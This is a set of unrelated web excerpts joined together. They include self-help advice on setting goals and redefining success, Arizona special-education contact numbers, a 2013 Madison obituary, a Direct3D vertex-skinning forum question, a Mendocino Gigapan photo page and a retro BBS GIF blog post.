Once you have outlined your priorities and needs it is helpful to set some goals to help you feel in control of your life, rather than a helpless back-seat driver. Set specific goals relating to your personal life and career, dividing your ambitions into short-, medium- and long-term goals. Think about what you want and how you can get there, then take small steps to achieving these, whether by starting a career-driven course, taking steps to start a relationship or getting help to sort out your finances.
Redefine success
Many of us define success by what we own and have, which can lead to feelings of hopelessness if you are not where you want to be financially. Rather than obsessing over your status, try redefining success for yourself based on what you have to offer and how you can make a difference to others. Make a commitment to doing something selfless, such as volunteering. This will help you to appreciate your value and worth.
Put some fun into your life
Adult life can sometimes seem like hard work. The wild nights of university become few and far between, financial restrictions rear their ugly head and you can easily settle into nine-to-five drudgery.
The most important thing is to inject some fun into your life again. Have a think about the activities you enjoy, then plan to spend time doing these things.
Spend time with people of different ages
Life can sometimes seem like a competition and it can be difficult to stop yourself from comparing your lifestyle with that of those around you.
Spend time with people from all walks of life and of different age groups, so that you are not constantly in "competition mode".
Don't be afraid to try things
It can be tempting to live life from the safety of your comfort zone and to feel as though you are not good enough to achieve your dreams. However, giving things a go is not only the perfect way to break out of a rut, it is also the only way that you can have any hope of achieving the things that you want in life.
If you have something you have been longing to do for a while, don't let the fear hold you back. It may not work out but at least you can say you tried rather than living to regret not giving it a go.
Be flexible
When making plans for your future it is important not to get too focused on time. For instance, deciding you want to own your own home by 26, be married by 27 and have kids by 28 will only make you feel despondent if life doesn't pan out this way. Real life hardly ever works to a perfect schedule.
Recognise achievements
We often spend so much time fixated on what we want out of life that it can be easy to ignore what we already have. Spend some time remembering all the things that you have achieved and that you should be proud of or grateful for.
Whether you have graduated from university, learned a skill or life lesson or established a quality friendship, reflect on what you have achieved so far and the things that have given your life value.


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Every school district and charter school is assigned an ESS Education Program Specialist who is the primary contact for any special education matter. Education Program Specialists are located in the Phoenix, Flagstaff, and Tucson offices.
To find out who is assigned as an Education Program Specialist for your district or charter school, please contact the following locations:
- Phoenix (602) 542-4013
- Tucson (520) 628-6330
- Flagstaff (928) 637-1860
In addition, you can contact an Early Resolution Specialist for technical assistance and guidance on the Dispute Resolution options available under the IDEA by using the toll-free number 1-855-383-9801.


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Among the projects funded by the American Recovery and Reinvestment Act (ARRA) is the City of Yuba City Water Meter Retrofit Project.
Project Description: The city of Yuba City is installing water meters to comply with the California Water Measurement Law.
Final Project Cost: $2,912,565
Click here for Section 1511 Certification (PDF)
Click here for photos (PDF)
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Christel A Elliott
MADISON, Wis. - Christel A. Elliott, age 54, of Madison, passed away on Friday, Aug. 16, 2013, at her home.
She was born on July 19, 1959, in Superior, the daughter of John D. and Rita A. (Bregenzer) Elliott. Christel graduated from Middleton High School in 1978. She had the heart of a poet and artist. Christel was kind and thoughtful; she loved her nieces and nephews and all children. She also loved music and singing. Some of her most favorite times were the summers she spent with her grandparents in Northern Wisconsin.
Christel is survived by her mother; sisters, Candelle (Mark) Phillips of Ashton and Carmelle Elliott of Madison; brother, John (Robin) Elliott of Madison; niece, Jessica Elliott; and nephews, John Paul Elliott and Codi Phillips. She was preceded in death by her beloved nephew, Mathew Elliott; grandparents, Edward and Anna Bregenzer; and by her father.
Funeral services will be held at ST. THOMAS AQUINAS, 602 Everglade Drive, Madison, at 11 a.m. on Tuesday, Aug. 20, 2013, with Father Brian Dulli presiding. Burial will be at St. Peter's Catholic Cemetery in Ashton. Visitation will be held GUNDERSON WEST FUNERAL HOME, 7435 University Ave., Middleton, from 5 p.m. until 7 p.m. on Monday, Aug. 19, 2013, and also at the church from 10 a.m. until the time of service on Tuesday. Christel, we will miss you dearly and you will always be in our hearts. Online condolences may be made at www.gundersonfh.com.


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My application is now ready to use a shader instead of the Fixed Function Pipeline. At the moment I am skinning and transforming vertices on the CPU. I need to update my vertex format to include Bone indices and weights. My current vertex struct is as follows:
#define VERTEX_FVF (D3DFVF_XYZ|D3DFVF_NORMAL|D3DFVF_DIFFUSE|D3DFVF_TEX1) struct VERTEX { float x,y,z; // Position float hx,hy,hz; // Normal DWORD color; // Color float tu,tv; // Texture UV };
But before I dive in I have some questions.
1. Do I still need to SetFVF() with shaders?
2. What do I include in my Vertex Struct and FVF definition to accomodate Bone indices and Weights (I only have 2 bones max influencing a vertex)?
struct VERTEX { float x,y,z; // Position float hx,hy,hz; // Normal DWORD color; // Color float tu,tv; // Texture UV float w1,w2; // Weights BYTE Indx1, Indx2; //Indices };Would this work or do I need to padd for 4 bones? How would the input for the vertex shader look like for the above vertex struct (float2 weights : BLENDWEIGHT0)?
3. Is it possible to have two position vectors, "float4 pos2 : POSITION0" as input parameters?
4. My position "Vector" has 3 members, and the transform matrix is 4x4, do I need a dummy unit padding the vector to multiply, how does this affect position, does it have to be 0.0f?


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Log In now to add this Gigapan to a group gallery.
Log In now to add this Gigapan to a gallery.
About This GigapanToggle
- Taken by
- James Turley
- Explore score
- 1
- Size
- 0.15 Gigapixels
- Views
- 4705
- Date added
- Apr 18, 2010
- Date taken
- Apr 18, 2010
- Gear
Canon SX110 IS 10x Optical Zoo...
- Categories
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- Competitions
- Tags
- mendocino, california
- Description
A cropped Pan of lovely Mendocino Village captured from Brewer's Gulch across the Big River bridge frontage road in the late afternoon
Extensive post-processing on the water. Big storms had hit the North Pacific Coast causing gigantic waves.
These conditions are very difficult for stitching.
OK OK, I know there's lots of PS errors, mainly trying to blend the waves row to row.
However, the lovely little village of Mendocino was shining bright in the late sunlight, catching a really sharp pan of the Mendocino Headlands, crashing waves, signature watertowers, and lovely old buildings.
Used the Beta GigaPan head.


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[ Retro GIF of the Week ] Digitized Autumn LeavesJanuary 11th, 2013 by Benj Edwards
From 1983 to 1996, James "Jim" Maxey operated a very successful Oregon-based BBS called Event Horizons. Through that board's file section, Maxey made available thousands of GIF images in many categories, from landscapes to pornography, that he had created using a video digitizer board and conversion software called T-EGA.
Bob Talmadge wrote an excellent profile of Jim Maxey's BBS years for his site BBSDays.com. I recommend reading it if you're interested in learning more about Maxey's BBS. Also, Jack Rickard of BoardWatch magazine mentioned Maxey's early 1990s image-related BBS activities in an article he wrote for Wired issue 1.04 in 1993.
The early and pioneering nature of Maxey's color graphics files for IBM PC computers ensured that his digital pictures, which he called "MaxiPics," spread far and wide to other BBSes at the time. This is one such picture, and it depicts a house and yard in autumn. The 640 x 350 EGA format file dates from 1987 and was likely captured from a video source — more on that in a moment.
[ Continue reading [ Retro GIF of the Week ] Digitized Autumn Leaves » ]